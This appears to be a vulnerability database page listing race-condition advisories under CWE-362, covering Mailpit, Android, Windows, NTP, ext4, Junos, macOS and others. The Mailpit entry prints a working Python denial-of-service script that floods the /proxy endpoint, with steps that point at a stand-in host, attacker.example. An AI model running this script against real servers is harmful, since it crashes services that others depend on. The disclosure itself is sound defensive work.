Common Weakness Enumeration

CWE-362

Allowed-with-Review

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

3263 vulnerabilities reference this CWE, most recent first.

GHSA-W4VJ-R5PG-3722

Vulnerability from github – Published: 2026-05-19 15:53 – Updated: 2026-09-02 23:39
VLAI
Summary
Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)
Details

Summary

The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.

Details

A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.

Affected code server/handlers/proxy.go:198-229 server/handlers/proxy.go:52-66 server/handlers/proxy.go:244-313

Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.

PoC

  1. Deposit any message with a in the store (SMTP or /api/v1/send, both unauthenticated by default).
  2. Make a few hundred concurrent requests to /proxy?data=base64(:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.

Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):

# proxy-race.py
import socket, threading, base64, sys

ID = sys.argv[1]                                   # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()

req = (
    f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
    f"Host: target:8025\r\n"
    f"Connection: close\r\n\r\n"
).encode()

def hit():
    try:
        s = socket.create_connection(("target", 8025), timeout=10)
        s.sendall(req)
        while s.recv(8192): pass
        s.close()
    except Exception: pass

for _ in range(50):                                # 50 rounds
    ts = [threading.Thread(target=hit) for _ in range(300)]
    for t in ts: t.start()
    for t in ts: t.join()

When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:

fatal error: concurrent map read and map write

goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
        server/handlers/proxy.go:216
...

…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.

Impact

Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:53:52Z",
    "nvd_published_at": "2026-07-20T16:17:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe screenshot/print proxy (/proxy?data=\u2026) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go\u0027s runtime raises fatal error: concurrent map read and map write \u2014 a runtime.throw that is not recoverable by http.Server\u0027s handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=\u2026 requests against the same message\u0027s CSS URL. Mailpit\u0027s defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo\u0027s map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") \u2014 throw is not caught by defer recover and is not caught by http.Server\u0027s handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a \u003clink rel=\"stylesheet\" href=\"https://attacker.example/big.css\"\u003e in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(\u003cid\u003e:https://attacker.example/big.css) \u2014 the attacker\u0027s big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you\u0027re testing locally \u2014 internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1]                                   # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n    f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n    f\"Host: target:8025\\r\\n\"\n    f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n    try:\n        s = socket.create_connection((\"target\", 8025), timeout=10)\n        s.sendall(req)\n        while s.recv(8192): pass\n        s.close()\n    except Exception: pass\n\nfor _ in range(50):                                # 50 rounds\n    ts = [threading.Thread(target=hit) for _ in range(300)]\n    for t in ts: t.start()\n    for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine\u0027s assets[id] = result write, Go\u0027s runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n        server/handlers/proxy.go:216\n...\n```\n\n\u2026and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).",
  "id": "GHSA-w4vj-r5pg-3722",
  "modified": "2026-09-02T23:39:43Z",
  "published": "2026-05-19T15:53:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45712"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: Concurrent map read \u0026 write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)"
}

GHSA-W54G-XV2P-9W2Q

Vulnerability from github – Published: 2022-05-11 00:01 – Updated: 2022-05-18 00:00
VLAI
Details

In ion_ioctl and related functions of ion.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205707793References: N/A

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-10T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In ion_ioctl and related functions of ion.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205707793References: N/A",
  "id": "GHSA-w54g-xv2p-9w2q",
  "modified": "2022-05-18T00:00:48Z",
  "published": "2022-05-11T00:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20118"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2022-05-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W56W-PR39-4M9H

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31
VLAI
Details

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K - GRFX allows an authorized attacker to execute code locally.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-55224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:05Z",
    "severity": "HIGH"
  },
  "details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Windows Win32K - GRFX allows an authorized attacker to execute code locally.",
  "id": "GHSA-w56w-pr39-4m9h",
  "modified": "2025-09-09T18:31:23Z",
  "published": "2025-09-09T18:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55224"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55224"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W5GW-RHC6-C5G8

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2025-04-12 13:01
VLAI
Details

The process_packet function in ntp_proto.c in ntpd in NTP 4.x before 4.2.8p8 allows remote attackers to cause a denial of service (peer-variable modification) by sending spoofed packets from many source IP addresses in a certain scenario, as demonstrated by triggering an incorrect leap indication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-4954"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-07-05T01:59:00Z",
    "severity": "HIGH"
  },
  "details": "The process_packet function in ntp_proto.c in ntpd in NTP 4.x before 4.2.8p8 allows remote attackers to cause a denial of service (peer-variable modification) by sending spoofed packets from many source IP addresses in a certain scenario, as demonstrated by triggering an incorrect leap indication.",
  "id": "GHSA-w5gw-rhc6-c5g8",
  "modified": "2025-04-12T13:01:47Z",
  "published": "2022-05-13T01:08:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4954"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-211752.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-497656.pdf"
    },
    {
      "type": "WEB",
      "url": "https://h20566.www2.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbhf03757en_us"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/K3EYJQHJZ2KTVQ7ICEFHXTLZ36MRASWX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ORAMN3Q7TVJ54MBYF75XCJOE3DP7LYHT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WNWGCQLW2VY72NIUYMJOCAKJKTXHDUK2"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/K3EYJQHJZ2KTVQ7ICEFHXTLZ36MRASWX"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ORAMN3Q7TVJ54MBYF75XCJOE3DP7LYHT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WNWGCQLW2VY72NIUYMJOCAKJKTXHDUK2"
    },
    {
      "type": "WEB",
      "url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-16:24.ntp.asc"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201607-15"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-103-11"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-159-11"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/321640"
    },
    {
      "type": "WEB",
      "url": "http://bugs.ntp.org/3044"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00020.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00024.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00028.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-06/msg00040.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-07/msg00026.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00042.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/137321/Slackware-Security-Advisory-ntp-Updates.html"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/137322/FreeBSD-Security-Advisory-FreeBSD-SA-16-24.ntp.html"
    },
    {
      "type": "WEB",
      "url": "http://support.ntp.org/bin/view/Main/NtpBug3044"
    },
    {
      "type": "WEB",
      "url": "http://support.ntp.org/bin/view/Main/SecurityNotice"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160603-ntpd"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/321640"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinapr2016-2952098.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/538599/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/538600/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/540683/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/archive/1/538599/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/archive/1/538600/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/archive/1/540683/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1036037"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-3096-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W5Q7-XVCJ-P6C8

Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-30 12:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

ext4: fix e4b bitmap inconsistency reports

A bitmap inconsistency issue was observed during stress tests under mixed huge-page workloads. Ext4 reported multiple e4b bitmap check failures like:

ext4_mb_complex_scan_group:2508: group 350, 8179 free clusters as per group info. But got 8192 blocks

Analysis and experimentation confirmed that the issue is caused by a race condition between page migration and bitmap modification. Although this timing window is extremely narrow, it is still hit in practice:

folio_lock ext4_mb_load_buddy __migrate_folio check ref count folio_mc_copy __filemap_get_folio folio_try_get(folio) ...... mb_mark_used ext4_mb_unload_buddy __folio_migrate_mapping folio_ref_freeze folio_unlock

The root cause of this issue is that the fast path of load_buddy only increments the folio's reference count, which is insufficient to prevent concurrent folio migration. We observed that the folio migration process acquires the folio lock. Therefore, we can determine whether to take the fast path in load_buddy by checking the lock status. If the folio is locked, we opt for the slow path (which acquires the lock) to close this concurrency window.

Additionally, this change addresses the following issues:

When the DOUBLE_CHECK macro is enabled to inspect bitmap-related issues, the following error may be triggered:

corruption in group 324 at byte 784(6272): f in copy != ff on disk/prealloc

Analysis reveals that this is a false positive. There is a specific race window where the bitmap and the group descriptor become momentarily inconsistent, leading to this error report:

ext4_mb_load_buddy ext4_mb_load_buddy __filemap_get_folio(create|lock) folio_lock ext4_mb_init_cache folio_mark_uptodate __filemap_get_folio(no lock) ...... mb_mark_used mb_mark_used_double mb_cmp_bitmaps mb_set_bits(e4b->bd_bitmap) folio_unlock

The original logic assumed that since mb_cmp_bitmaps is called when the bitmap is newly loaded from disk, the folio lock would be sufficient to prevent concurrent access. However, this overlooks a specific race condition: if another process attempts to load buddy and finds the folio is already in an uptodate state, it will immediately begin using it without holding folio lock.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-45942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T14:17:10Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: fix e4b bitmap inconsistency reports\n\nA bitmap inconsistency issue was observed during stress tests under\nmixed huge-page workloads. Ext4 reported multiple e4b bitmap check\nfailures like:\n\next4_mb_complex_scan_group:2508: group 350, 8179 free clusters as\nper group info. But got 8192 blocks\n\nAnalysis and experimentation confirmed that the issue is caused by a\nrace condition between page migration and bitmap modification. Although\nthis timing window is extremely narrow, it is still hit in practice:\n\nfolio_lock                        ext4_mb_load_buddy\n__migrate_folio\n  check ref count\n  folio_mc_copy                     __filemap_get_folio\n                                      folio_try_get(folio)\n                                  ......\n                                  mb_mark_used\n                                  ext4_mb_unload_buddy\n  __folio_migrate_mapping\n    folio_ref_freeze\nfolio_unlock\n\nThe root cause of this issue is that the fast path of load_buddy only\nincrements the folio\u0027s reference count, which is insufficient to prevent\nconcurrent folio migration. We observed that the folio migration process\nacquires the folio lock. Therefore, we can determine whether to take the\nfast path in load_buddy by checking the lock status. If the folio is\nlocked, we opt for the slow path (which acquires the lock) to close this\nconcurrency window.\n\nAdditionally, this change addresses the following issues:\n\nWhen the DOUBLE_CHECK macro is enabled to inspect bitmap-related\nissues, the following error may be triggered:\n\ncorruption in group 324 at byte 784(6272): f in copy != ff on\ndisk/prealloc\n\nAnalysis reveals that this is a false positive. There is a specific race\nwindow where the bitmap and the group descriptor become momentarily\ninconsistent, leading to this error report:\n\next4_mb_load_buddy                   ext4_mb_load_buddy\n  __filemap_get_folio(create|lock)\n    folio_lock\n  ext4_mb_init_cache\n    folio_mark_uptodate\n                                     __filemap_get_folio(no lock)\n                                     ......\n                                     mb_mark_used\n                                       mb_mark_used_double\n  mb_cmp_bitmaps\n                                       mb_set_bits(e4b-\u003ebd_bitmap)\n  folio_unlock\n\nThe original logic assumed that since mb_cmp_bitmaps is called when the\nbitmap is newly loaded from disk, the folio lock would be sufficient to\nprevent concurrent access. However, this overlooks a specific race\ncondition: if another process attempts to load buddy and finds the folio\nis already in an uptodate state, it will immediately begin using it without\nholding folio lock.",
  "id": "GHSA-w5q7-xvcj-p6c8",
  "modified": "2026-05-30T12:30:23Z",
  "published": "2026-05-27T15:33:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45942"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/29a07d691d282faf38c33d4b61839b89399110f9"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/57e83bfbe1e412ac42daced2086f3c6f9a17bba0"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/bdc56a9c46b2a99c12313122b9352b619a2e719e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/c05033cfc5c7699cd4df8d48cef94d01da755f24"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f29709a7a3fc38f5015d850504762cdef0e151f9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W5R5-J976-GW6F

Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17
VLAI
Details

An Improper Check for Unusual or Exceptional Conditions vulnerability combined with a Race Condition in the flow daemon (flowd) of Juniper Networks Junos OS on SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2 allows an unauthenticated network based attacker sending specific traffic to cause a crash of the flowd/srxpfe process, responsible for traffic forwarding in SRX, which will cause a Denial of Service (DoS). Continued receipt and processing of this specific traffic will create a sustained Denial of Service (DoS) condition. This issue can only occur when specific packets are trying to create the same session and logging for session-close is configured as a policy action. Affected platforms are: SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2. Not affected platforms are: SRX4000 Series, SRX5000 Series with SPC3, and vSRX Series. This issue affects Juniper Networks Junos OS SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2: All versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R3; 20.3 versions prior to 20.3R2-S1, 20.3R3; 20.4 versions prior to 20.4R2.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31364"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-19T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An Improper Check for Unusual or Exceptional Conditions vulnerability combined with a Race Condition in the flow daemon (flowd) of Juniper Networks Junos OS on SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2 allows an unauthenticated network based attacker sending specific traffic to cause a crash of the flowd/srxpfe process, responsible for traffic forwarding in SRX, which will cause a Denial of Service (DoS). Continued receipt and processing of this specific traffic will create a sustained Denial of Service (DoS) condition. This issue can only occur when specific packets are trying to create the same session and logging for session-close is configured as a policy action. Affected platforms are: SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2. Not affected platforms are: SRX4000 Series, SRX5000 Series with SPC3, and vSRX Series. This issue affects Juniper Networks Junos OS SRX300 Series, SRX500 Series, SRX1500, and SRX5000 Series with SPC2: All versions prior to 17.4R3-S5; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R3-S9; 19.1 versions prior to 19.1R3-S6; 19.2 versions prior to 19.2R1-S7, 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R3-S3; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R3; 20.3 versions prior to 20.3R2-S1, 20.3R3; 20.4 versions prior to 20.4R2.",
  "id": "GHSA-w5r5-j976-gw6f",
  "modified": "2022-05-24T19:17:52Z",
  "published": "2022-05-24T19:17:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31364"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W5RF-7QR8-HM2M

Vulnerability from github – Published: 2026-03-25 03:31 – Updated: 2026-03-25 15:31
VLAI
Details

A race condition was addressed with additional validation. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to break out of its sandbox.

Severity
8.1 (High)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-28891"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-25T01:17:12Z",
    "severity": "HIGH"
  },
  "details": "A race condition was addressed with additional validation. This issue is fixed in macOS Sequoia 15.7.5, macOS Sonoma 14.8.5, macOS Tahoe 26.4. An app may be able to break out of its sandbox.",
  "id": "GHSA-w5rf-7qr8-hm2m",
  "modified": "2026-03-25T15:31:28Z",
  "published": "2026-03-25T03:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28891"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126794"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126795"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/126796"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W5VG-49MG-6CXX

Vulnerability from github – Published: 2024-04-19 18:31 – Updated: 2024-04-19 18:31
VLAI
Details

A vulnerability, which was classified as problematic, has been found in COVESA vsomeip up to 3.4.10. Affected by this issue is some unknown functionality. The manipulation leads to race condition. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-261596.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-3979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-19T18:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as problematic, has been found in COVESA vsomeip up to 3.4.10. Affected by this issue is some unknown functionality. The manipulation leads to race condition. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-261596.",
  "id": "GHSA-w5vg-49mg-6cxx",
  "modified": "2024-04-19T18:31:16Z",
  "published": "2024-04-19T18:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3979"
    },
    {
      "type": "WEB",
      "url": "https://github.com/COVESA/vsomeip/issues/663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/COVESA/vsomeip/files/14904610/details.zip"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.261596"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.261596"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.312410"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W637-MWV9-MCHJ

Vulnerability from github – Published: 2026-05-30 00:30 – Updated: 2026-05-30 00:30
VLAI
Details

A race condition in the shared Extreme Platform ONE IAM Gateway API-key authentication path could, under specific high-concurrency traffic conditions, intermittently allow requests authenticated with an Extreme Platform ONE /IAM-issued API key to receive response data for another tenant. The issue was observed through ExtremeCloud IQ/XIQ API endpoints and validated against both XIQ/XAPI and Extreme Platform ONE /Common Services API paths. XIQ-native tokens and standard OAuth/Bearer JWT authentication were not affected.

Severity
6.3 (Medium)
